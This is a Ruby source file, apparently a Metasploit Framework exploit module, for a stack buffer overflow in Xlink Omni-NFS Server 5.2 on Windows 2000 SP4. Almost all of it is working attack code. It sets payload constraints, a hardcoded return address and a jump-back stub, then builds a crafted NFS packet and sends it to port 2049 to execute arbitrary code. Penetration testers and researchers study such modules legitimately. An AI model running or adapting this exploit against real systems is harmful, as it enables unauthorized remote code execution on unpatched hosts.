86 lines
2.1 KiB
Ruby
86 lines
2.1 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = AverageRanking
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include Msf::Exploit::Remote::Tcp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Omni-NFS Server Buffer Overflow',
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'Description' => %q{
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This module exploits a stack buffer overflow in Xlink Omni-NFS Server 5.2
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When sending a specially crafted nfs packet, an attacker may be able
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to execute arbitrary code.
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},
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'Author' => [ 'MC' ],
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'References' =>
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[
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[ 'CVE', '2006-5780' ],
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[ 'OSVDB', '30224'],
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[ 'BID', '20941' ],
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[ 'URL', 'http://www.securityfocus.com/data/vulnerabilities/exploits/omni-nfs-server-5.2-stackoverflow.pm' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 336,
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'BadChars' => "\x00",
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'PrepenEncoder' => "\x81\xc4\x54\xf2\xff\xff",
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows 2000 SP4 English', { 'Ret' => 0x0040bb2e } ],
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],
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'Privileged' => true,
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Nov 06 2006'))
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register_options([Opt::RPORT(2049)], self.class)
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end
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def exploit
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connect
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buff = payload.encoded
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buff << Rex::Arch::X86.jmp_short(6) + rand_text_english(2)
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buff << [target.ret].pack('V')
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buff << Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-330").encode_string
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buff << rand_text_english(251)
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pkt = [1].pack('N')
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pkt << [0].pack('N')
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pkt << [2].pack('N')
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pkt << [100005].pack('N')
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pkt << [1].pack('N')
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pkt << [1].pack('N')
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pkt << [1].pack('N')
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pkt << [400].pack('N')
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pkt << buff[0,400]
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pkt << [1].pack('N')
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pkt << [400].pack('N')
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pkt << buff[300,400]
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sploit = [pkt.length | 0x80000000].pack('N') + pkt
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print_status("Trying target #{target.name}...")
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sock.put(sploit)
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handler
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disconnect
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end
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end
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